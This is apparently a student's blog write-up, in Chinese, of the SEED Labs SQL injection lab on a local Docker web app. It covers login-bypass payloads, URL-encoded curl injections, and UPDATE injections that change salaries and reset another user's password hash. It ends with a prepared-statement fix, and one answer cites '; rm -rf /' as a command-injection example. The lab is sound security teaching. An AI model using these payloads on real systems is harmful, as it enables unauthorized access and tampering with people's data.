软件安全实验 SEEDlabs SQL 注入攻击实验

环境设置

实验所需文件已在e-learning系统中提供。 此次实验使用一个已经开发好的Web应用程序,并使用容器1来设置这个Web应用程序。实验使用两 个容器,一个用于托管Web应用程序,另一个用于托管Web应用程序的数据库。Web应用程序的容器IP 地址是 10.9.0.5,Web应用程序的URL见下:

1
http://www.seed-server.com

我们需要将主机名映射到容器的IP地址。请将以下条目添加到/etc/hosts文件。此文件的修改需要 使用root权限(使用 sudo)。如果主机名由于某些原因已经被添加到文件中,且被映射到一个不同的IP 地址,请删除旧的条目。

1
10.9.0.5	www.seed-server.com

容器设置与相关命令

将实验配置文件Lab3setup.zip 上传至虚拟机,解压后进入 Labsetup 文件夹,使用其中的 docker-compose.yml 文件来构建实验环境。

docker-compose.yml 文件的相关解释以及有关所有 Dockerfile的内容可查阅用户手册(https: //github.com/seed-labs/seed-labs/blob/master/manuals/docker/SEEDManual-Container.md)。若 为第一次使用容器构建SEED实验环境,建议阅读用户手册。

下面列出了一些DockerCompose的常用命令,这些命令在SEEDUbuntu20.04VM中的.bashrc文件 中拥有别名。

1
2
3
4
5
6
7
$ docker-composebuild #Buildthecontainerimage
$ docker-composeup #Start thecontainer
$ docker-composedown #Shutdownthecontainer
// AliasesfortheComposecommandsabove
$ dcbuild #Aliasfor:docker-composebuild
$ dcup #Aliasfor:docker-composeup
$ dcdown #Aliasfor:docker-composedown

令所有容器在后台运行(使用-d参数,即dcup-d),要在容器上运行命令,需要使用该容器的shell。 我们首先需要使用“docker ps”命令来找出容器的ID,然后使用“dockerexec”来启动该容器的shell。命 令已在.bashrc文件中创建别名。

1
2
3
4
5
6
7
8
9
10
11
12
13
$ dockps //Aliasfor:dockerps--format"{{.ID}}{{.Names}}"
$ docksh<id> //Aliasfor:dockerexec-it<id>/bin/bash

// The followingexampleshowshowtogetashellinsidehostC
$ dockps
b1004832e275hostA-10.9.0.5
0af4ea7a3e2ehostB-10.9.0.6
9652715c8e0ahostC-10.9.0.7
$ docksh96
root@9652715c8e0a:/#
// Note:IfadockercommandrequiresacontainerID,youdonotneedto
// typetheentireIDstring.Typingthefirstfewcharacterswill
// besufficient, aslongas theyareuniqueamongallthecontainers.

Remark如遇问题,请查阅用户手册中的“常见问题”部分,以及本实验手册最后一页的附录。

MySQL数据库:通常情况下,容器是一次性的,一旦被删除,内部的所有数据都会丢失。本次实验中,我们 需要保存MySQL数据库中的数据,这样就不会在关闭容器时丢失数据。为此,我们将主机上的mysql_data 文件夹(位于Labsetup下,于MySQL容器运行后创建)挂载到MySQL容器内的/var/lib/mysql文件 夹中。这个文件夹用于MySQL存储其数据库。这样,即使容器被删除,数据库中的数据仍被保存。如果 需要一个干净的数据库,可以用以下命令删除这个文件夹:

1
$ sudo rm-rfmysql_data

这我们先把环境起一下

使用 docker-compose build 构建docker

image-20251022163443570

成功构建

image-20251022163703548

使用docker-compose up -d 后台起一下容器

Web应用程序

我们创建了一个简单的员工管理的Web应用程序。员工可以通过这个Web应用程序查看和更新他们 在数据库中的个人信息。在这个Web应用程序中有两个角色:Administrator是一个特权角色,可以管 理每个员工的个人资料信息;Employee是一个非特权角色,可以查看或更新他/她自己的个人资料信息。 表1为所有员工的信息。

表1: Database

Name Employee ID Password Salary Birthday SSN Nickname Email Address Phone#
Admin 99999 seedadmin 400000 3/5 43254314
Alice 10000 seedalice 20000 9/20 10211002
Boby 20000 seedboby 50000 4/20 10213352
Ryan 30000 seedryan 90000 4/10 32193525
Samy 40000 seedsamy 40000 1/11 32111111
Ted 50000 seedted 110000 11/3 24343244

说明与提示

测试SQL注入字符串 通常情况下,服务器不会返回语法错误的提示,这导致很难得知SQL注入字符串 是否包含语法错误。为此,可以从php源代码复制SQL语句到MySQL控制台。假设你有以下的SQL语句, 并且注入的字符串是' or 1=1;#

1
2
SELECT * from credential
WHERE name='$name' and password='$pwd';

将其中 $name的值替换为所要注入的字符串并在MySQL控制台对其进行测试。由此可以在发起真正 的攻击前构建一个无语法错误的注入字符串。

注释 MySQL支持两种单行注释:

  • -- 双中横杠开头的,直至行尾,这一种“–”后面必须至少有一个空格隔开,可以是制表符;
  • # 井号符号开头直至行尾。

URL 编码 参照以下转换表,完成Task2.2。

符号 编码 符号 编码 符号 编码 符号 编码 符号 编码 符号 编码 符号 编码 符号 编码 符号 编码 符号 编码
! %21 # %23 $ %24 & %26 %27 ( %28 ) %29 * %2A + %2B , %2C
/ %2F : %3A ; %3B = %3D ? %3F @ %40 [ %5B ] %5D
newline %0A 或 %0D 或 %0D%0A space %20 %22 % %25 - %2D . %2E < %3C > %3E \ %5C ^ %5E
_ %5F ` %60 { %7B %7C } %7D ~ %7E

图1:URL Encoder & Decoder

Task 1:熟悉 SQL 语句

Task 1 的目标是通过使用提供的数据库来熟悉SQL命令。Web应用程序所使用的数据存储在MySQL 数据库中,由MySQL容器托管。我们创建了一个名为 sqllab_users的数据库,其中包含一个名为 credential 的表。表中存储着每个员工的个人信息(例如eid、password、salary、ssn等)。本任务中, 请通过操作数据库熟悉SQL查询语句。

请在MySQL容器上建立shell(相关内容请参阅用户手册),并使用 mysql客户端与数据库进行交互 (用户名为 root,口令为 dees)

1
2
3
docker ps
docksh 19
mysql -uroot -pdees

image-20251022164756965

登录客户端后,可以选择创建新的数据库或者加载已有数据库。由于我们已经创建了 sqllab_users 数据库,只需使用use命令加载这个已有的数据库。想要显示 sqllab_users数据库中有哪些表,可以使 用show tables命令打印出所选数据库的所有表。

image-20251022170223892

运行以上命令后,你需要使用一条SQL命令打印员工Alice的所有资料信息。请提供结果截图。

SELECT * from credential;打印整个表单:

SELECT * from credential WHERE Name='Alice'即可打印员工Alice的所有资料:

image-20251022170458426

Task 2:基于 SELECT 语句的 SQL 注入攻击

攻击者通过SQL注入技术可以执行恶意SQL语句,即恶意负载。通过恶意的SQL语句,攻击者可以 从数据库中窃取数据,甚至对数据库进行修改。我们的Web应用程序数据库含有SQL注入漏洞,模仿了 开发人员的常犯错误。

在登陆网站www.seed-server.com中进行SQL注入攻击的练习,登录页面见图2。Web应用程序根据 用户名和口令认证用户,所以只有知道自己口令的员工才能登录。作为攻击者,请在无法得知任何员工口 令的前提下成功登录Web应用程序。

image-20251022170726530

位于目录/var/www/SQL_Injection 下的PHP代码 unsafe_home.php为进行用户认证的代码。下面 的代码片段显示了用户是如何被认证的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1 $input_uname = $_GET[ ’ username ’ ];
2 $input_pwd = $_GET[ ’ Password ’ ];
3 $hashed_pwd = sha1($input_pwd);
4 ...
5 $sql = "SELECT id, name, eid, salary, birth, ssn, address, email,
6 nickname, Password
7 FROM credential
8 WHERE name= ’ $input_uname ’ and Password= ’ $hashed_pwd ’ ";
9 $result = $conn-> query($sql);
10
11 // The following is Pseudo Code
12 if(id != NULL) {
13 if(name== ’ admin ’ ) {
14 return All employees information;
15 } else if (name !=NULL){
16 return employee information;
17 }
18 } else {
19 Authentication Fails;
20 }

上面的SQL语句从表credential中获取员工的个人信息如ID、姓名、工资、SSN等。该SQL语 句使用两个变量input_uname和hashed_pwd,其中input_uname为用户在登录页面所输入的用户名, hashed_pwd为用户所输入口令的sha1哈希值。程序检查与所提供的用户名和口令匹配的条目。匹配成 功,则用户认证成功,并获得相应的员工信息;匹配失败,则认证失败。

典型SQL注入漏洞。

Task 2.1:基于网页的 SQL 注入攻击

你的任务是以管理员的身份从登录页面登录到 Web 应用程序,这样 你就可以查看所有员工的信息。管理员的用户名是 admin,口令未知。请在用户名与口令输入框中输入 能成功完成攻击的内容。

万能密码:可以构造 admin' OR '1=1 作为我们的登录用户名,这样Sql查询语句就变成了:

1
2
3
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= 'admin' OR '1'='1' and Password='$hashed_pwd'

使得判断恒为true

image-20251022171149113

也可以构造 admin' --+(URL编码) 或admin' #作为用户名,从而注释调后面的语句,变成一个查询语句

1
2
WHERE name= 'admin' -- and Password='$hashed_pwd'
WHERE name= 'admin' #and Password='$hashed_pwd'

image-20251022171452409

Task 2.2:基于命令行的 SQL 注入攻击

在不使用网页的情况下完成 Task 2.1 的目标。你可以使用命令行 工具,如 curl,它可以发送 HTTP 请求。如需在 HTTP 请求中包含多个参数,需要把 URL 和参数用一对 单引号括起来。否则,用于分隔参数的特殊字符 (如 &) 会被 shell 曲解,造成命令歧义。

以下给出向Web 应用程序发送带有两个参数(username和Password)的HTTPGET请求的示例。

1
$ curl'www.seed-server.com/unsafe_home.php?username=alice&Password=25

如需在用户名和口令字段中包含特殊字符,特殊字符需要进行编码,否则可能会造成命令歧义。如单 引号需要使用%27来代替,空格需要使用%20。在Task2.2中,使用curl时请正确处理HTTP编码。

将 Task 2.1 的命令进行 URL 编码

1
2
3
curl www.seed-server.com/unsafe_home.php?username=admin%27%20OR%20%271=1&Password=
curl www.seed-server.com/unsafe_home.php?username=admin%27%23&Password=
curl www.seed-server.com/unsafe_home.php?username=admin%27%20--+&Password=

image-20251022173110514

Task 2.3:增加一条新的 SQL 语句

在Task2.1与Task2.2中,我们只能做到从数据库中窃取信息,进 一步的攻击是通过登录页面上的相同漏洞对数据库的数据进行修改。请尝试在SQL注入攻击中使用两条 SQL语句,第二条是更新或删除语句。在SQL中,分号(;)被用来分隔两条SQL语句。请在登录页面使 用两条SQL语句进行攻击。

在这种情况下,会有阻止运行两条SQL语句的反制措施。请查阅SEEDBook(https://www.handsonsecurity.net/)或上网查明此反制措施,并在实验报告中描述你的发现。

1
admin'; DELETE FROM credential WHERE name='admin';#

尝试执行第二条 SQL 语句 DELETE FROM credential WHERE name='admin'; 删除 admin 表项,但是注入失败:

image-20251022174807226

现代Web开发中,为了防止SQL注入带来的更大危害(如执行多条SQL语句),很多数据库驱动默认不允许一条查询里有多个SQL语句。比如:

  • MySQL的默认设置(比如PHP的mysqli、Python的pymysql、Java的JDBC等)通常会关闭multi-statement(多语句)执行,除非显式开启。
  • 这样做的目的是防止攻击者通过注入分号(;)来拼接多条SQL语句,从而实现如删除表、删除数据等更危险的操作。

这种防止多语句执行的机制,通常称为**“禁止多语句执行”(Disabling Multiple Statements)或“单条语句执行模式”**(Single Statement Mode)。

  • 在MySQL中,如果未显式设置CLIENT_MULTI_STATEMENTS参数,默认是不允许多条语句的。
  • 这样,SQL注入攻击者即使通过分号拼接语句,也无法让数据库执行第二条语句。

Task 3:基于 UPDATE 语句的 SQL 注入攻击

如果SQL注入使用的是UPDATE语句,攻击者将利用SQL注入漏洞修改数据库,危害更加严重。在 我们的Web应用程序中,有一个编辑个人资料的页面(图3),允许员工更新他们的个人信息,包括昵称、 电子邮件、地址、电话号码和口令。员工登录后可进入此页面。

当员工通过编辑页面更新他们的信息时,下面的SQLUPDATE语句将被执行。在unsafe_edit_backend .php 文件中实现的PHP代码用于更新员工的个人信息。此文件位于目录/var/www/SQLInjection中。

1
2
3
4
5
6
7
8
9
$hashed_pwd = sha1($input_pwd);
$sql = "UPDATE credential SET
nickname='$input_nickname',
email='$input_email',
address='$input_address',
Password='$hashed_pwd',
PhoneNumber='$input_phonenumber'
WHERE ID=$id;";
$conn->query($sql);

代码是通过执行一个sql语句进行表单的更新:

1
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;

Task 3.1:修改自己的工资

编辑页面中只能修改员工的昵称、电子邮件、地址、电话号码和口令,而不 能用于修改工资。假设你(Alice)由于老板Boby今年未给你加薪而感到不满。你想利用存在于编辑页面 的SQL注入漏洞来增加自己的工资(数值改为[你的学号后6位])。请展示并解释你是如何实现这一目标 的。已知列 salary用于存储工资数额。

Phone Number 是update的最后一项,可以在 Phone Number 这里注入.

填入 ',salary=460052 WHERE name='Alice' # ,相当于执行了:

1
UPDATE credential SET nickname='',email='',address='',Password='$hashed_pwd',PhoneNumber='',salary=460052 where name='Alice' #' where ID=$id; 

image-20251022185818407

这会把 Alice 的 Salary 表项改成460052:

image-20251022185834193

Task 3.2:修改他人的工资

在提高自己的工资数额后,你决定惩罚你的老板Boby,将他的工资减少(数 值改为[100+你的学号后3位])。请展示并解释你是如何实现这一目标的。

PhoneNumber 项填入 ',salary=152 WHERE name='Boby' #,相当于执行了:

1
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='',salary=152 WHERE name='Boby' #' where ID=$id;

这会将 Boby 的工资表项更新成 152

image-20251022190007200

Task 3.3:修改他人的口令

修改完Boby的工资后,你仍心有不甘,所以你想修改Boby的口令(口令改 为“2025”),这样你就可以登录他的账户,做进一步的破坏。请展示并解释你是如何实现这一目标的。你需 要证明你可以用新的口令成功登录Boby的账户。需要注意,数据库存储的并非明文形式的口令,而是口 令的哈希值。请在 unsafe_edit_backend.php中查看口令的存储方式,程序使用SHA1哈希函数来生成 口令的哈希值。

image-20251022190240472

PhoneNumber 项填入 ',Password='004be89dd9e070ecb080b9b759e5be29ec24881b' WHERE name='Boby' #,这会修改 Boby 的数据库中的 Password 值

现在我们再尝试使用密码 2025 登录,发现登录成功:

image-20251022190401896

Task 4:对策:语句预处理

SQL 注入漏洞的问题所在是没有把代码和数据分开。当构建一个SQL语句时,程序(如PHP程序)知 道哪部分是数据,哪部分是代码。但当SQL语句发送到数据库时,代码和数据的边界消失,SQL解释器可 能得到与开发者设置的原始边界不同的边界。为了解决这个问题,必须确保服务器端代码和数据库处理 得到的边界一致。最安全的解决方法是使用语句预处理。

为了理解语句预处理是如何防止SQL注入攻击的,我们需要了解SQL服务器执行查询时的流程。执 行SQL查询的整体工作流程见图4。查询语句在编译步骤中,首先经过解析和规范化阶段,此阶段根据语 法和语义检查查询语句。下一阶段为编译阶段,关键词(如SELECT、FROM、UPDATE等)被转换为机器 可理解的形式。查询语句在此阶段基本完成翻译。在查询优化阶段,服务器从执行查询语句的不同方案中 选择最佳优化方案。选定的方案被存储在缓存中,在下一个查询语句进入时,服务器首先检查缓存中的内 容,如此语句已存在于缓存中,则跳过解析、编译和查询优化阶段。执行步骤将实际执行编译后的查询。

预处理语句的生成在编译步骤之后执行步骤之前。预处理语句通过编译步骤,变为一个带有表示数据 的空占位符的预编译查询语句。为此需要提供数据才能运行此预编译查询语句。所提供的数据将被直接 插入到预编译的查询语句中并发送到执行引擎,而不会经过编译步骤。因此,即使数据中含有SQL代码, 由于不经过编译步骤,这些代码将被简单地视为数据的一部分,不会被赋予任何特殊的含义。这就是语句 预处理如何防止SQL注入攻击的。

下面将给出如何在PHP中编写语句预处理机制的示例。代码中使用SELECT语句,展示了如何使用语 句预处理机制来重写有SQL注入漏洞的代码。

1
2
3
4
$sql = "SELECT name, local, gender
FROM USER_TABLE
WHERE id = $id AND password ='$pwd' ";
$result = $conn->query($sql)

上面的代码容易受到SQL注入攻击,可被重写如下。

1
2
3
4
5
6
7
8
$stmt = $conn->prepare("SELECT name, local, gender
FROM USER_TABLE
WHERE id = ? and password = ? ");
// Bind parameters to the query
$stmt->bind_param("is", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();

使用语句预处理机制,我们将向数据库发送SQL语句的过程分为两个步骤。第一步为准备步骤,发送 代码部分,即没有实际数据的SQL语句。上面的代码片段中,实际数据被问号(?)代替。第二步,使用 bind_param() 将数据发送到数据库。数据库将在此步骤中发送的所有内容仅视为数据而非代码。它将数 据填入预处理的语句中的相应占位符。在 bind_param()方法中,第一个参数“is”表示各参数的类型:“i” 表示 $id中的数据为整数类型,“s”表示 $pwd中的数据为字符串类型。

Task 请使用语句预处理机制来修复SQL注入漏洞。为了简单起见,我们在文件夹 defense内创建了一 个简化程序,你需要对这个文件夹中的文件进行修改。访问下面给出的URL,你会看到一个类似于Web 应用程序登录页面的网页,在网页中提供正确的用户名和口令即可查询员工的信息。

1
URL: http://www.seed-server.com/defense/

在这个页面中输入的数据将被发送到服务器程序 getinfo.php,它调用程序 unsafe.php。程序 unsafe.php 中的SQL查询代码含有SQL注入漏洞。请使用语句预处理机制修改 unsafe.php中的SQL查 询,修复SQL注入漏洞。在文件夹 Labsetup中,unsafe.php程序位于 image_www/Code/defense。请 修改该程序,并重建重启容器以生效。

你也可以在容器运行时修改该文件。在容器中,unsafe.php程序位于/var/www/SQL_Injection/ defense 里面。注意,为了保持docker镜像的小巧,容器内只有一个非常简单的文本编辑器 nano,它足 以进行简单的编辑。但如果你不喜欢 nano,你随时可以使用“apt install”在容器内安装你喜欢的命令 行编辑器。如果喜欢 vim,你可以这样做:

1
# apt install-y vim

编辑器会随着容器关闭和删除而丢失。如果你想让它成为永久性的,请把安装命令添加到 image_www 文件夹中的 Dockerfile中。

修改 www 容器中的 /var/www/SQL_Injection/defense/ 文件夹下的 unsafe.php 文件,修改后的文件如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
// Function to create a sql connection.
function getDB() {
$dbhost="10.9.0.6";
$dbuser="seed";
$dbpass="dees";
$dbname="sqllab_users";

// Create a DB connection
$conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname);
if ($conn->connect_error) {
die("Connection failed: " . $conn->connect_error . "\n");
}
return $conn;
}

$input_uname = $_GET['username'];
$input_pwd = $_GET['Password'];
$hashed_pwd = sha1($input_pwd);

// create a connection
$conn = getDB();

// Use prepared statements to prevent SQL injection
$safesql = $conn->prepare("SELECT id, name, eid, salary, ssn FROM credential WHERE name = ? AND Password = ?");
if ($safesql) {
// Bind parameters (s - string, i - int, d - double, b - blob)
$safesql->bind_param("ss", $input_uname, $hashed_pwd);

// Execute the statement
$safesql->execute();

// Get the result
$result = $safesql->get_result();
if ($result->num_rows > 0) {
// only take the first row
$firstrow = $result->fetch_assoc();
$id = $firstrow["id"];
$name = $firstrow["name"];
$eid = $firstrow["eid"];
$salary = $firstrow["salary"];
$ssn = $firstrow["ssn"];
}

// Close the statement
$safesql->close();
}

// close the sql connection
$conn->close();
?>

使用准备好的语句(Prepared Statements):通过 $conn->prepare() 函数创建查询,并使用 ? 占位符来防止直接插入用户输入内容。

绑定参数:使用 $safesql->bind_param() 函数,将用户输入的参数绑定到准备好的语句中。这种做法确保了SQL查询不会直接拼接用户输入,从而避免SQL注入风险。其中 "ss" 表示 $input_uname$hashed_pwd 都是字符串类型。

访问 http://www.seed-server.com/defense 再使用 Alice' # 对 USERNAME 进行 SQL 注入测试:

image-20251022191626394

发现已经无法查询到 Alice 的信息了。

思考题

Q1

假设数据库只存储 password和 eid两列的SHA256值。使用下面SQL语句与数据库交互,其中 $passwd 和 $eid变量的值由用户提供。这个程序是否存在SQL注入问题?如果没有,请解释原因;如果 有,请给出构造范例。(10分)

1
2
$sql = "SELECT * FROM employee 
WHERE eid='SHA2($eid, 256)' and password='SHA2($passwd, 256)'";

有,SQL注入是代码与数据的混合导致的,像这种方法无法防御,只需闭合即可

比如$eid变量为admin,256)'#

1
2
3
$sql = "SELECT * FROM employee 
WHERE eid='SHA2(admin,256)'#
, 256)' and password='SHA2($passwd, 256)'";

这样会导致SQL结构被破坏,实现注入。可以以admin身份登录

Q2

本质目的:两者都旨在防止“拼接字符串”导致的代码注入漏洞。

  • 在 C 程序中,system() 直接将字符串作为 shell 命令执行,如果用户输入被直接拼接进这个字符串,就可能被恶意利用,造成命令注入。
  • 在 SQL 语句中,如果直接把用户输入拼接进 SQL 字符串,也会造成 SQL 注入漏洞。

原理对比

  • system():将整个命令行字符串传递给 shell,由 shell 解析并执行。拼接输入就容易让用户插入额外命令(如 ; rm -rf /);execve():不经过 shell,而是将命令和参数分别以数组方式传递。即使参数中有恶意内容,也不会被当成新命令或特殊符号处理,杜绝了注入的可能。
  • SQL拼接:直接拼接用户输入到 SQL 语句中,用户可以插入恶意 SQL 片段;预处理/参数化查询:SQL 语句结构和数据分离,用户输入作为参数绑定,即使输入包含特殊字符,也只会被当作数据处理,不能改变 SQL 结构。

相似性总结

  • 原理相同:都通过“结构和数据分离”来防止注入。
    • execve() 把命令和参数分开传递,不让参数内容影响命令结构。
    • SQL 预处理语句把 SQL 结构和数据参数分开,防止参数内容干扰 SQL 结构。
  • 效果相同:都能有效防止因拼接用户输入导致的注入攻击。

软件安全实验 SEEDlabs SQL 注入攻击实验
http://example.com/2026/test37/
作者
sangnigege
发布于
2026年4月15日
许可协议